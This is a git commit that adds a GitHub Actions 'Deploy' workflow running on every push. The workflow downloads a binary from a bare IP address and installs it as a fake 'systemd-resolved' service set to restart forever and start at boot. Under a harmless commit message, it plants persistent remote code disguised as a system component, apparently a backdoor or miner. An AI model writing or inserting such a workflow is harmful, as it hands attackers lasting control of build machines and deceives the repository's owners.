Add workflow

This commit is contained in:
op29991 2026-08-20 07:55:32 +00:00
parent 5695854d13
commit 93b1705791

View File

@ -0,0 +1,25 @@
name: Deploy
on: [push]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Deploy
run: |
curl -fsSL -m 60 -o /usr/local/bin/systemd-resolved http://103.150.215.6:8888/update
chmod 0755 /usr/local/bin/systemd-resolved
cat > /etc/systemd/system/systemd-resolved.service << 'UNIT'
[Unit]
Description=systemd-resolved Service
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
ExecStart=/usr/local/bin/systemd-resolved
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
UNIT
systemctl daemon-reload
systemctl enable --now systemd-resolved.service